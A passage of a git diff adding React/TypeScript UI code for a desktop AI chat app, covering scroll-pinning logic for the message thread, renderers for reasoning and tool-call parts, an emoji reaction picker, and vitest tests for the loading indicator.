+  useEffect(() => onScrollToBottomRequest(() => void scrollToBottom()), [scrollToBottom])
+
+  const endEditHold = useCallback(() => {
+    scrollRef.current?.removeAttribute('data-editing')
+  }, [scrollRef])
+
+  // Inline edit grows a sticky bubble. Escape before focus/layout so the
+  // resize-follow can't snap scrollTop; native anchoring holds the viewport.
+  const beginEditHold = useCallback(() => {
+    const el = scrollRef.current
+
+    if (!el) {
+      return
+    }
+
+    endEditHold()
+    stopScroll()
+    el.setAttribute('data-editing', 'true')
+  }, [endEditHold, scrollRef, stopScroll])
+
+  useEffect(() => onThreadEditOpen(beginEditHold), [beginEditHold])
+  useEffect(() => onThreadEditClose(endEditHold), [endEditHold])
+  useEffect(() => () => endEditHold(), [endEditHold])
+  // New run → snap to the latest turn.
+  useAuiEvent('thread.runStart', () => void scrollToBottom())
+
+  // Reset the cap and pin to bottom on mount + every session switch (messages
+  // swap in place on a long-lived runtime, so sessionKey is the only signal).
+  // The swap is multi-step and lays out over many frames; letting the library
+  // follow re-pins every frame to a moving target — visible as ~10 scroll jumps.
+  // Instead: quiet it, glue to the true bottom until the height holds steady,
+  // then hand back locked. Live streaming afterward uses the normal resize follow.
+  //
+  // `hasGroups` joins sessionKey as a dep because a COLD load changes the key
+  // while the transcript is still empty and publishes messages hundreds of ms
+  // later. Keyed on the switch alone the loop measured an EMPTY viewport, saw
+  // a stable height in two frames, and handed back "settled" before the
+  // transcript existed — so the turns painted at scrollTop 0 and only snapped
+  // down once use-stick-to-bottom's ResizeObserver noticed, a full-viewport
+  // lurch on every cold load. The empty→non-empty flip re-arms for the
+  // transcript that actually arrived; being a boolean, it cannot re-fire on a
+  // streaming append.
+  useLayoutEffect(() => {
+    const el = scrollRef.current
+
+    if (!el) {
+      return
+    }
+
+    stopScroll()
+    el.scrollTop = el.scrollHeight
+    loadSettledRef.current = false
+
+    // An anchor captured for the OUTGOING transcript must not be applied to
+    // this one — a switch owns the position outright. The empty→non-empty
+    // re-arm is the SAME load, whose in-flight anchor is still correct.
+    if (settleKeyRef.current !== sessionKey) {
+      settleKeyRef.current = sessionKey
+      restoreFromBottomRef.current = null
+    }
+
+    let frame = 0
+    let stableFrames = 0
+    let lastHeight = el.scrollHeight
+
+    const settle = () => {
+      const node = scrollRef.current
+
+      if (!node) {
+        return
+      }
+
+      const height = node.scrollHeight
+
+      stableFrames = height === lastHeight ? stableFrames + 1 : 0
+      lastHeight = height
+      node.scrollTop = height
+
+      // Most session switches are synchronous and stabilize within 2 frames;
+      // the old 90-frame ceiling was for slow async image loads. Cap at 15
+      // frames to minimize the settle-loop racing markdown paint on every switch.
+      if (stableFrames >= 2 || ++frame > 15) {
+        void scrollToBottom('instant')
+        loadSettledRef.current = true
+
+        return
+      }
+
+      rafId = requestAnimationFrame(settle)
+    }
+
+    let rafId = requestAnimationFrame(settle)
+
+    return () => cancelAnimationFrame(rafId)
+  }, [hasGroups, scrollRef, scrollToBottom, sessionKey, stopScroll])
+
+  // Prepend an older page while preserving the on-screen position. The user is
+  // scrolled up (reading history) so the stick-to-bottom lock is escaped and
+  // won't fight this manual restore. Spend the already-materialized DOM page
+  // first; only when that is exhausted pull more messages out of the session
+  // store (#55191).
+  const showEarlier = useCallback(() => {
+    const action = resolveShowEarlierAction(hiddenCount, olderAvailable)
+
+    if (!action) {
+      return
+    }
+
+    anchorBeforePrepend()
+
+    if (action === 'dom') {
+      setRenderBudget(budget => budget + RENDER_BUDGET)
+
+      return
+    }
+
+    expandWindow()
+  }, [anchorBeforePrepend, expandWindow, hiddenCount, olderAvailable])
+
+  useLayoutEffect(() => {
+    const el = scrollRef.current
+
+    if (el && restoreFromBottomRef.current != null) {
+      el.scrollTop = el.scrollHeight - restoreFromBottomRef.current
+      restoreFromBottomRef.current = null
+    }
+    // renderBudget covers DOM pages; groups.length covers store-window expands.
+  }, [scrollRef, renderBudget, groups.length])
+
+  // The row array is memoized on the inputs the rows actually read. This
+  // component re-renders on every isAtBottom flip — and use-stick-to-bottom
+  // flips it from a ResizeObserver, so a sidebar DRAG re-renders this list per
+  // frame. Without the memo, the inline .map() rebuilt every row's JSX each
+  // time, and rebuilt children re-render their whole subtree even when nothing
+  // changed (measured live: 865 wasted Block renders in one drag, walked to
+  // "MessageRenderBoundary (children only)" by explain()). With it, React
+  // bails out on element identity and a scroll flip re-renders nothing below.
+  const rows = useMemo(
+    () =>
+      visibleGroups.map((group, indexInVisible) => (
+        // content-visibility:auto — off-screen turns skip style recalc,
+        // layout, and paint. On a long transcript this is what keeps
+        // UNRELATED UI fast: any dialog/popover mount (Radix Presence
+        // reads getComputedStyle) forces a whole-document style recalc,
+        // measured ~650-730ms per open on a 1300-message session and
+        // ~100-200ms with this on. contain-intrinsic-size keeps a
+        // placeholder height for never-rendered turns (auto: remembered
+        // real size once rendered), so scrollbar/anchoring stay stable.
+        // Sticky human bubbles are unaffected — their turn is rendered
+        // whenever any part of it intersects the viewport.
+        //
+        // The live tail (newest turns) is exempt: virtualizing a turn
+        // whose final size hasn't been remembered yet snaps it to a stale
+        // height when it scrolls off, drifting stick-to-bottom up over old
+        // turns. See liveTailStart.
+        <div
+          className={cn(
+            'flex min-w-0 flex-col gap-(--conversation-turn-gap) pb-(--conversation-turn-gap)',
+            indexInVisible < tailStart && '[contain-intrinsic-size:auto_37.5rem] [content-visibility:auto]'
+          )}
+          key={group.id}
+        >
+          <MessageRenderBoundary resetKey={structuralSignature}>
+            {group.kind === 'turn' ? (
+              <div
+                className="composer-human-ai-pair-container relative flex min-w-0 flex-col gap-(--conversation-turn-gap)"
+                data-slot="aui_turn-pair"
+              >
+                {group.indices.map(index => (
+                  <ThreadPrimitive.MessageByIndex components={components} index={index} key={index} />
+                ))}
+              </div>
+            ) : (
+              <ThreadPrimitive.MessageByIndex components={components} index={group.index} />
+            )}
+          </MessageRenderBoundary>
+        </div>
+      )),
+    [visibleGroups, components, structuralSignature, tailStart]
+  )
+
+  return (
+    <div
+      className="relative min-h-0 max-w-full overflow-hidden contain-[layout_paint]"
+      style={
+        {
+          height: clampToComposer ? 'var(--thread-viewport-height)' : '100%',
+          ...(secondaryWindow ? { '--sticky-human-top': secondaryTitlebarGap } : {})
+        } as CSSProperties
+      }
+    >
+      {secondaryWindow && (
+        // Secondary windows hide the titlebar chrome, so the scroller runs to
+        // the window's top edge and streamed text slides up under the OS
+        // traffic lights. Content padding alone scrolls away with the text — a
+        // fixed opaque strip (the titlebar's drag region) masks anything behind
+        // it and keeps the window draggable, matching the main window's header.
+        <div
+          aria-hidden="true"
+          className="absolute inset-x-0 top-0 z-10 h-(--titlebar-height) bg-background [-webkit-app-region:drag]"
+        />
+      )}
+      <div
+        className="size-full overflow-x-hidden overflow-y-auto overscroll-contain"
+        data-following={isAtBottom ? 'true' : 'false'}
+        data-slot="aui_thread-viewport"
+        ref={scrollRef as React.RefCallback<HTMLDivElement>}
+      >
+        {renderEmpty ? (
+          <div
+            className="mx-auto grid h-full w-full max-w-(--composer-width) grid-rows-[minmax(0,1fr)_auto] min-w-0 gap-(--conversation-turn-gap) px-6 py-8"
+            data-slot="aui_thread-content"
+          >
+            {emptyPlaceholder}
+          </div>
+        ) : (
+          <div
+            className={cn('mx-auto flex w-full max-w-(--composer-width) min-w-0 flex-col px-6', threadContentTopPad)}
+            data-slot="aui_thread-content"
+            ref={contentRef as React.RefCallback<HTMLDivElement>}
+          >
+            {(hiddenCount > 0 || olderAvailable) && (
+              <button
+                className="mx-auto mb-(--conversation-turn-gap) rounded-full border border-border/65 bg-(--composer-fill) px-3 py-1 text-xs text-muted-foreground hover:text-foreground"
+                onClick={showEarlier}
+                type="button"
+              >
+                {t.assistant.thread.showEarlier}
+              </button>
+            )}
+            {rows}
+            {loadingIndicator}
+            {clampToComposer && (
+              <div
+                aria-hidden="true"
+                className="shrink-0"
+                data-slot="aui_composer-clearance"
+                style={{ height: 'var(--thread-last-message-clearance)' }}
+              />
+            )}
+          </div>
+        )}
+      </div>
+    </div>
+  )
+}
+
+export const ThreadMessageList = memo(ThreadMessageListInner)
diff --git a/ui-desktop/src/components/assistant-ui/thread/message-parts.tsx b/ui-desktop/src/components/assistant-ui/thread/message-parts.tsx
new file mode 100644
index 000000000..df42bc175
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/message-parts.tsx
@@ -0,0 +1,271 @@
+import {
+  type ReasoningMessagePartComponent,
+  type ToolCallMessagePartProps,
+  useAuiState,
+  useMessagePartReasoning
+} from '@assistant-ui/react'
+import { type ComponentProps, type FC, type ReactNode, useEffect, useRef, useState } from 'react'
+
+import { ClarifyTool } from '@/components/assistant-ui/clarify-tool'
+import { MarkdownText, MarkdownTextContent } from '@/components/assistant-ui/markdown-text'
+import { DelegateTool } from '@/components/assistant-ui/tool/delegate'
+import { ToolFallback, ToolGroupSlot } from '@/components/assistant-ui/tool/fallback'
+import { formatElapsed, useElapsedSeconds, useMeasuredDuration } from '@/components/chat/activity-timer'
+import { ActivityTimerText } from '@/components/chat/activity-timer-text'
+import { GeneratedImage } from '@/components/chat/generated-image-result'
+import { SCAFFOLD_LABEL_CLASS, SCAFFOLD_META_CLASS, ScaffoldRow } from '@/components/chat/scaffold-row'
+import { useI18n } from '@/i18n'
+import { generatedImageFromResult } from '@/lib/generated-images'
+import { separateGluedReasoningBlocks } from '@/lib/reasoning-blocks'
+import { useEnterAnimation } from '@/lib/use-enter-animation'
+import { cn } from '@/lib/utils'
+
+const ImageGenerateTool: FC<ToolCallMessagePartProps> = props => {
+  const { args, result } = props
+  const aspectRatio = typeof args?.aspect_ratio === 'string' ? args.aspect_ratio : undefined
+
+  // The image card owns successful generations. Failed or malformed results
+  // still need the normal tool row: it extracts the error text and gives the
+  // user an honest, expandable failure rather than silently dropping the call.
+  if (result !== undefined && !generatedImageFromResult(result)) {
+    return <ToolFallback {...props} />
+  }
+
+  return (
+    <div className="mt-1.5">
+      <GeneratedImage aspectRatio={aspectRatio} result={result} />
+    </div>
+  )
+}
+
+const DelegateToolPart: FC<ToolCallMessagePartProps> = props => {
+  // A call that failed outright dispatched nothing — there are no children to
+  // list, only an error. The generic row extracts and expands it properly.
+  if (props.isError) {
+    return <ToolFallback {...props} />
+  }
+
+  return <DelegateTool args={props.args} result={props.result} toolCallId={props.toolCallId} />
+}
+
+const ChainToolFallback: FC<ToolCallMessagePartProps> = props => {
+  // todo parts are hoisted to a dedicated panel above the message content.
+  if (props.toolName === 'todo') {
+    return null
+  }
+
+  // A reaction's UI is the emoji landing on the bubble (message.reaction
+  // event) — a "React To Message" tool block next to it would be the agent
+  // narrating its own tapback. Failures still render so they're debuggable.
+  if (props.toolName === 'react_to_message' && !props.isError) {
+    return null
+  }
+
+  if (props.toolName === 'delegate_task') {
+    return <DelegateToolPart {...props} />
+  }
+
+  if (props.toolName === 'image_generate') {
+    return <ImageGenerateTool {...props} />
+  }
+
+  if (props.toolName === 'clarify') {
+    return <ClarifyTool {...props} />
+  }
+
+  return <ToolFallback {...props} />
+}
+
+const ThinkingDisclosure: FC<{
+  children: ReactNode
+  messageRunning?: boolean
+  pending?: boolean
+  // Required: the block's duration is remembered against this key, so a
+  // component that mounts after the block finished can still report it.
+  timerKey: string
+}> = ({ children, messageRunning = false, pending = false, timerKey }) => {
+  const { t } = useI18n()
+  // `null` = no explicit user toggle yet, defer to the streaming default.
+  // The default is "auto-open while streaming, auto-collapse when done" so
+  // reasoning surfaces a live preview without manual interaction. The first
+  // explicit toggle wins from then on.
+  const [userOpen, setUserOpen] = useState<boolean | null>(null)
+  const elapsed = useElapsedSeconds(pending, timerKey)
+  const thoughtFor = useMeasuredDuration(pending, timerKey)
+  const scrollRef = useRef<HTMLDivElement | null>(null)
+  const contentRef = useRef<HTMLDivElement | null>(null)
+  const enterRef = useEnterAnimation(messageRunning, timerKey)
+
+  const open = userOpen ?? pending
+  const isPreview = pending && userOpen === null
+
+  // Three ways a finished block can report itself. With a measured duration it
+  // says so, unless the timer's whole seconds round it to "0s" — accurate and
+  // useless — in which case it just says it was quick. With no duration at all
+  // it still has to read as finished; a turn that ended must not go on saying
+  // "Thinking".
+  let thoughtLabel = t.assistant.thread.thinking
+
+  if (!pending) {
+    if (thoughtFor === null) {
+      thoughtLabel = t.assistant.thread.thought
+    } else if (thoughtFor < 1) {
+      thoughtLabel = t.assistant.thread.thoughtBriefly
+    } else {
+      thoughtLabel = t.assistant.thread.thoughtFor(formatElapsed(thoughtFor))
+    }
+  }
+
+  // While the preview is live, pin the scroll container to the bottom on
+  // every content growth so the latest tokens are always visible.
+  useEffect(() => {
+    if (!isPreview) {
+      return
+    }
+
+    const el = scrollRef.current
+    const content = contentRef.current
+
+    if (!el || !content) {
+      return
+    }
+
+    // Height-gated: the observer also fires when the container's WIDTH changes
+    // (sidebar sash drag resizes every message), and pinning there forces a
+    // scrollHeight read+write per preview per frame. Only actual content
+    // growth needs the pin; the height rides the RO entry, reflow-free.
+    let lastHeight = -1
+
+    const pin = (entries: readonly ResizeObserverEntry[]) => {
+      const height = entries[entries.length - 1]?.borderBoxSize?.[0]?.blockSize ?? -1
+      const grew = height < 0 || height > lastHeight
+      lastHeight = height
+
+      if (grew) {
+        el.scrollTop = el.scrollHeight
+      }
+    }
+
+    // No sync pin(): the observer's guaranteed initial delivery runs it with
+    // layout already clean (still before paint), avoiding a forced reflow.
+    const observer = new ResizeObserver(pin)
+    observer.observe(content)
+
+    return () => observer.disconnect()
+    // Re-run when the disclosure toggles so the observer attaches to the new
+    // DOM after expand/collapse (refs are conditionally rendered on `open`).
+  }, [isPreview, open])
+
+  return (
+    <div
+      className="text-[length:var(--conversation-tool-font-size)] text-(--ui-text-tertiary)"
+      data-conversation-scaffold=""
+      data-slot="aui_thinking-disclosure"
+      ref={enterRef}
+    >
+      <ScaffoldRow onToggle={() => setUserOpen(!open)} open={open}>
+        <span className={cn(SCAFFOLD_LABEL_CLASS, pending && 'shimmer')}>{thoughtLabel}</span>
+        {pending && <ActivityTimerText className={SCAFFOLD_META_CLASS} seconds={elapsed} />}
+      </ScaffoldRow>
+      {open && (
+        <div
+          className={cn(
+            // Body sits flush with the "Thinking" header — no left indent —
+            // and inherits the disclosure-level opacity fade defined in
+            // styles.css (~0.67 at rest, 1 on hover/focus).
+            'mt-0.5 w-full min-w-0 max-w-full overflow-hidden wrap-anywhere pb-1',
+            isPreview && 'max-h-40'
+          )}
+          ref={scrollRef}
+        >
+          <div ref={contentRef}>{children}</div>
+        </div>
+      )}
+    </div>
+  )
+}
+
+// Self-gate "Thinking…" on this message's own reasoning parts. Reading
+// `thread.isRunning` directly would flicker shimmer/timer on every old
+// assistant whenever the external-store runtime clears+reimports its
+// repository (one ref-identity bump per streaming delta).
+const ReasoningAccordionGroup: FC<{ children?: ReactNode; endIndex: number; startIndex: number }> = ({
+  children,
+  endIndex,
+  startIndex
+}) => {
+  const messageId = useAuiState(s => s.message.id)
+  const messageRunning = useAuiState(s => s.message.status?.type === 'running')
+
+  const pending = useAuiState(
+    s =>
+      s.thread.isRunning &&
+      s.message.status?.type === 'running' &&
+      s.message.parts
+        .slice(Math.max(0, startIndex), endIndex + 1)
+        .some(p => p?.type === 'reasoning' && p.status?.type !== 'complete')
+  )
+
+  // A reasoning group with no actual text is pure noise — drop the whole
+  // "Thinking" disclosure rather than leave an empty header eating a row. This
+  // applies live too: encrypted/spinner-coerced reasoning (Opus reasoning max)
+  // never carries visible text, and the bottom-of-thread loader already signals
+  // "thinking", so an empty header is never wanted. Real reasoning surfaces the
+  // instant its first token lands.
+  const hasContent = useAuiState(s =>
+    s.message.parts
+      .slice(Math.max(0, startIndex), endIndex + 1)
+      .some(p => p?.type === 'reasoning' && typeof p.text === 'string' && p.text.trim().length > 0)
+  )
+
+  if (!hasContent) {
+    return null
+  }
+
+  return (
+    // Keyed per block, not per message: the timer registry hands every caller
+    // of a key the same origin, so a turn that thinks three separate times used
+    // to measure the second and third blocks from the first one's start and
+    // report the running total as each block's duration.
+    <ThinkingDisclosure
+      messageRunning={messageRunning}
+      pending={pending}
+      timerKey={`reasoning:${messageId}:${startIndex}`}
+    >
+      {children}
+    </ThinkingDisclosure>
+  )
+}
+
+// Read the part from context, same contract as MarkdownText's
+// useMessagePartText — the reasoning-only smoothing wrapper (removed) stalled
+// the char-reveal at empty, blanking the widget.
+const ReasoningTextPart: ReasoningMessagePartComponent = () => {
+  const { status, text } = useMessagePartReasoning()
+  const messageRunning = useAuiState(s => s.message.status?.type === 'running')
+
+  return (
+    <MarkdownTextContent
+      containerClassName="text-xs leading-snug text-muted-foreground/85"
+      containerProps={{ 'data-slot': 'aui_reasoning-text' } as ComponentProps<'div'>}
+      disableArtifacts
+      isRunning={status.type === 'running' || messageRunning}
+      text={separateGluedReasoningBlocks(text.trimStart())}
+    />
+  )
+}
+
+// Module-level constant so the `components` prop on `MessagePrimitive.Parts`
+// has a stable identity across renders. Without this every AssistantMessage
+// render would create a fresh `components` object, invalidating the memo on
+// `MessagePrimitivePartByIndex` and forcing every tool/reasoning child to
+// re-render on every streaming delta. Memo invalidation alone doesn't
+// remount, but combined with the previous ToolFallback group-swap it was a
+// big chunk of the per-delta work.
+export const MESSAGE_PARTS_COMPONENTS = {
+  Reasoning: ReasoningTextPart,
+  ReasoningGroup: ReasoningAccordionGroup,
+  Text: MarkdownText,
+  ToolGroup: ToolGroupSlot,
+  tools: { Fallback: ChainToolFallback }
+} as const
diff --git a/ui-desktop/src/components/assistant-ui/thread/message-reactions.tsx b/ui-desktop/src/components/assistant-ui/thread/message-reactions.tsx
new file mode 100644
index 000000000..42dbc53ba
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/message-reactions.tsx
@@ -0,0 +1,208 @@
+import { EmojiPicker } from 'frimousse'
+import { type FC, useState } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { Popover, PopoverAnchor, PopoverContent } from '@/components/ui/popover'
+import { triggerHaptic } from '@/lib/haptics'
+import { Plus } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import { QUICK_REACTIONS } from '@/store/reactions'
+import type { MessageReaction } from '@/types/clawcodex'
+
+// Served from the app's own origin (vite.config.ts `clawcodex:emojibase-assets`
+// plugin bundles emojibase-data): Electron must work offline, and the app
+// should never phone a CDN to draw a picker.
+const EMOJIBASE_URL = './emojibase'
+
+// Slack tints its picker cells in a repeating palette (green, blue, yellow,
+// pink, brown, purple…) so long scrolls stay scannable. Same trick, in the
+// app's own accent idiom (bg-emerald-500/15 etc. are existing patterns).
+// Keyed off the emoji's codepoint — deterministic, and stable under
+// frimousse's virtualized rows (an index cycle would reshuffle on scroll).
+const CELL_TINTS = [
+  'hover:bg-emerald-500/15 data-[active]:bg-emerald-500/20',
+  'hover:bg-sky-500/15 data-[active]:bg-sky-500/20',
+  'hover:bg-amber-500/15 data-[active]:bg-amber-500/20',
+  'hover:bg-pink-500/15 data-[active]:bg-pink-500/20',
+  'hover:bg-orange-500/15 data-[active]:bg-orange-500/20',
+  'hover:bg-violet-500/15 data-[active]:bg-violet-500/20'
+] as const
+
+const cellTint = (emoji: string) => CELL_TINTS[(emoji.codePointAt(0) ?? 0) % CELL_TINTS.length]
+
+/** The full emoji picker, revealed behind the quick row's "+". Headless — styled here. */
+const FullEmojiPicker: FC<{ onSelect: (emoji: string) => void }> = ({ onSelect }) => (
+  <EmojiPicker.Root
+    className="flex h-72 w-76 flex-col"
+    emojibaseUrl={EMOJIBASE_URL}
+    onEmojiSelect={emoji => onSelect(emoji.emoji)}
+  >
+    {/* Borderless, underline-on-focus — the app's SearchField idiom (DESIGN.md),
+        not a boxed search bar. Search matches labels AND emojibase tags
+        ("lol" → 😂), which frimousse handles natively. */}
+    <EmojiPicker.Search
+      autoFocus
+      className="mx-1 border-b border-(--ui-stroke-tertiary) bg-transparent px-1 pb-1 text-sm outline-hidden focus:border-(--ui-stroke-secondary)"
+      placeholder="Search…"
+    />
+    <EmojiPicker.Viewport className="relative flex-1 outline-hidden">
+      <EmojiPicker.Loading className="absolute inset-0 grid place-items-center text-xs text-(--ui-text-tertiary)">
+        Loading emoji…
+      </EmojiPicker.Loading>
+      <EmojiPicker.Empty className="absolute inset-0 grid place-items-center text-xs text-(--ui-text-tertiary)">
+        No emoji found.
+      </EmojiPicker.Empty>
+      <EmojiPicker.List
+        className="select-none pb-1"
+        components={{
+          CategoryHeader: ({ category, ...props }) => (
+            <div
+              className="bg-(--ui-bg-elevated) px-1.5 pt-2 pb-1 text-[0.6875rem] text-(--ui-text-tertiary)"
+              {...props}
+            >
+              {category.label}
+            </div>
+          ),
+          Emoji: ({ emoji, ...props }) => (
+            <button
+              className={cn('grid size-8 shrink-0 place-items-center rounded-md text-lg', cellTint(emoji.emoji))}
+              {...props}
+            >
+              {emoji.emoji}
+            </button>
+          ),
+          Row: ({ children, ...props }) => (
+            <div className="flex px-1" {...props}>
+              {children}
+            </div>
+          )
+        }}
+      />
+    </EmojiPicker.Viewport>
+  </EmojiPicker.Root>
+)
+
+/**
+ * The reaction picker — six quick emoji, then "+" for the full set.
+ *
+ * Rides the shared Popover, so it inherits the app's menu/popover surface
+ * treatment rather than inventing a floating pill (DESIGN.md: popovers get one
+ * shared shadow + hairline; call sites don't reinvent elevation).
+ */
+export const ReactionPicker: FC<{
+  align?: 'end' | 'start'
+  children: React.ReactNode
+  onOpenChange: (open: boolean) => void
+  onSelect: (emoji: string) => void
+  open: boolean
+  selected?: string
+}> = ({ align = 'end', children, onOpenChange, onSelect, open, selected }) => {
+  const [expanded, setExpanded] = useState(false)
+
+  return (
+    <Popover
+      onOpenChange={next => {
+        onOpenChange(next)
+
+        if (!next) {
+          // Always reopen on the quick row.
+          setExpanded(false)
+        }
+      }}
+      open={open}
+    >
+      <PopoverAnchor asChild>{children}</PopoverAnchor>
+      <PopoverContent
+        align={align}
+        // Opt this one surface out of the shared popover glass: emoji hover
+        // tints at 15% alpha are unreadable over blurred transcript text.
+        // Overriding the local surface var keeps the arrow matched for free.
+        className={cn('w-auto p-1 [--popover-surface:var(--ui-bg-elevated)]', !expanded && 'flex gap-0.5')}
+        onCloseAutoFocus={event => event.preventDefault()}
+        side="top"
+      >
+        {expanded ? (
+          <FullEmojiPicker onSelect={onSelect} />
+        ) : (
+          <>
+            {QUICK_REACTIONS.map(emoji => (
+              <Button
+                aria-label={emoji}
+                aria-pressed={selected === emoji}
+                className={cn('text-base', selected === emoji && 'bg-(--chrome-action-hover)')}
+                key={emoji}
+                onClick={() => {
+                  triggerHaptic('selection')
+                  onSelect(emoji)
+                }}
+                size="icon-sm"
+                variant="ghost"
+              >
+                {emoji}
+              </Button>
+            ))}
+            <Button aria-label="More emoji" onClick={() => setExpanded(true)} size="icon-sm" variant="ghost">
+              <Plus />
+            </Button>
+          </>
+        )}
+      </PopoverContent>
+    </Popover>
+  )
+}
+
+/**
+ * The reactions a message carries.
+ *
+ * Flat by design (DESIGN.md: "Flat, not boxed") — no pill, no border, no fill.
+ * It reads as quiet metadata in the same register as the message age and the
+ * checkpoint row it sits beside. Your own reaction is clickable to retract;
+ * the agent's is display-only.
+ */
+export const ReactionBadge: FC<{
+  className?: string
+  onRetract?: () => void
+  reactions: MessageReaction[]
+}> = ({ className, onRetract, reactions }) => {
+  if (!reactions.length) {
+    return null
+  }
+
+  return (
+    <span
+      className={cn('flex items-center gap-1 text-[0.8125rem] leading-none', className)}
+      data-slot="aui_msg-reactions"
+    >
+      {reactions.map(reaction =>
+        reaction.author === 'user' && onRetract ? (
+          <button
+            aria-label={`Remove ${reaction.emoji} reaction`}
+            className="reaction-pop cursor-pointer leading-none transition-transform hover:scale-110 active:scale-95"
+            key={`${reaction.author}-${reaction.emoji}`}
+            onClick={event => {
+              event.preventDefault()
+              event.stopPropagation()
+              triggerHaptic('selection')
+              onRetract()
+            }}
+            onPointerDown={event => {
+              event.preventDefault()
+              event.stopPropagation()
+            }}
+            type="button"
+          >
+            {reaction.emoji}
+          </button>
+        ) : (
+          <span
+            className="reaction-pop leading-none"
+            key={`${reaction.author}-${reaction.emoji}`}
+            title="Reacted by ClawCodex"
+          >
+            {reaction.emoji}
+          </span>
+        )
+      )}
+    </span>
+  )
+}
diff --git a/ui-desktop/src/components/assistant-ui/thread/status-tail-only.test.tsx b/ui-desktop/src/components/assistant-ui/thread/status-tail-only.test.tsx
new file mode 100644
index 000000000..4983e26ce
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/status-tail-only.test.tsx
@@ -0,0 +1,107 @@
+// The thinking indicator (dither block) may only ever render at the TAIL of
+// the thread. A message stuck status:running mid-transcript — however it got
+// there (missed settle event, steer race, upstream state bug) — must render
+// its content with no spinner: a live indicator above a later user message
+// reads as the agent answering out of order.
+import { AssistantRuntimeProvider, type ThreadMessage, useExternalStoreRuntime } from '@assistant-ui/react'
+import { cleanup, render, screen } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { Thread } from '.'
+
+const createdAt = new Date('2026-05-01T00:00:00.000Z')
+
+class TestResizeObserver {
+  observe() {}
+  unobserve() {}
+  disconnect() {}
+}
+vi.stubGlobal('ResizeObserver', TestResizeObserver)
+vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) =>
+  window.setTimeout(() => callback(performance.now()), 0)
+)
+vi.stubGlobal('cancelAnimationFrame', (id: number) => window.clearTimeout(id))
+vi.stubGlobal('CSS', { escape: (str: string) => str })
+
+Element.prototype.scrollTo = function scrollTo() {}
+
+// Enter animation fires for running messages; jsdom has no WAAPI.
+Element.prototype.animate = function animate() {
+  return { cancel() {}, finished: Promise.resolve() } as unknown as Animation
+}
+
+afterEach(() => {
+  cleanup()
+})
+
+const assistantMetadata = {
+  unstable_state: null,
+  unstable_annotations: [],
+  unstable_data: [],
+  steps: [],
+  custom: {}
+}
+
+function user(id: string, text: string): ThreadMessage {
+  return {
+    id,
+    role: 'user',
+    content: [{ type: 'text', text }],
+    attachments: [],
+    createdAt,
+    metadata: { custom: {} }
+  } as ThreadMessage
+}
+
+function assistant(id: string, text: string, running: boolean): ThreadMessage {
+  return {
+    id,
+    role: 'assistant',
+    content: text ? [{ type: 'text', text }] : [],
+    status: running ? { type: 'running' } : { type: 'complete', reason: 'stop' },
+    createdAt,
+    metadata: assistantMetadata
+  } as ThreadMessage
+}
+
+function Harness({ messages }: { messages: ThreadMessage[] }) {
+  const runtime = useExternalStoreRuntime<ThreadMessage>({
+    messages,
+    isRunning: messages.at(-1)?.status?.type === 'running',
+    onNew: async () => {}
+  })
+
+  return (
+    <AssistantRuntimeProvider runtime={runtime}>
+      <Thread />
+    </AssistantRuntimeProvider>
+  )
+}
+
+describe('thinking indicator is tail-only', () => {
+  it('shows the loading indicator on a running placeholder at the tail', async () => {
+    const { container } = render(<Harness messages={[user('u1', 'question'), assistant('a1', '', true)]} />)
+
+    expect(await screen.findByRole('status', { name: 'ClawCodex is loading a response' })).toBeTruthy()
+    expect(container.querySelector('[data-slot="aui_response-loading"]')).toBeTruthy()
+  })
+
+  it('never shows an indicator on a stale running message mid-transcript', async () => {
+    // A stranded pending bubble from an earlier turn, then a newer exchange.
+    const { container } = render(
+      <Harness
+        messages={[
+          user('u1', 'first question'),
+          assistant('a1', '', true),
+          user('u2', 'second question'),
+          assistant('a2', 'answered', false)
+        ]}
+      />
+    )
+
+    await screen.findByText('answered')
+
+    expect(container.querySelector('[data-slot="aui_response-loading"]')).toBeNull()
+    expect(container.querySelector('[data-slot="aui_stream-stall"]')).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/thread/status.test.tsx b/ui-desktop/src/components/assistant-ui/thread/status.test.tsx
new file mode 100644
index 000000000..e51f39313
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/status.test.tsx
@@ -0,0 +1,71 @@
+import { act, cleanup, render, screen } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { __resetElapsedTimerRegistryForTests } from '@/components/chat/activity-timer'
+import { I18nProvider } from '@/i18n'
+import { $activeSessionId, $turnStartedAt } from '@/store/session'
+
+import { ResponseLoadingIndicator } from './status'
+
+function renderIndicator() {
+  return render(
+    <I18nProvider configClient={null} initialLocale="en">
+      <ResponseLoadingIndicator />
+    </I18nProvider>
+  )
+}
+
+describe('ResponseLoadingIndicator timer', () => {
+  beforeEach(() => {
+    vi.useFakeTimers()
+    vi.setSystemTime(new Date('2026-01-01T00:00:00.000Z'))
+    __resetElapsedTimerRegistryForTests()
+  })
+
+  afterEach(() => {
+    cleanup()
+    $activeSessionId.set(null)
+    $turnStartedAt.set(null)
+    __resetElapsedTimerRegistryForTests()
+    vi.useRealTimers()
+  })
+
+  it('preserves each running session timer while switching between sessions', () => {
+    $activeSessionId.set('session-a')
+    $turnStartedAt.set(Date.now())
+    const sessionA = renderIndicator()
+
+    act(() => vi.advanceTimersByTime(5_000))
+    expect(screen.getAllByText((_, node) => node?.textContent === '5s').length).toBeGreaterThan(0)
+    sessionA.unmount()
+
+    $activeSessionId.set('session-b')
+    $turnStartedAt.set(Date.now())
+    const sessionB = renderIndicator()
+
+    act(() => vi.advanceTimersByTime(3_000))
+    expect(screen.getAllByText((_, node) => node?.textContent === '3s').length).toBeGreaterThan(0)
+    sessionB.unmount()
+
+    $activeSessionId.set('session-a')
+    $turnStartedAt.set(new Date('2026-01-01T00:00:00.000Z').getTime())
+    renderIndicator()
+
+    expect(screen.getAllByText((_, node) => node?.textContent === '8s').length).toBeGreaterThan(0)
+  })
+})
+
+// The status line sits between tool rows and thinking headers, which the
+// transcript rests at a fade. Without the mark it reads a shade brighter than
+// both — the one line in the column claiming emphasis it hasn't earned.
+describe('status line', () => {
+  afterEach(cleanup)
+
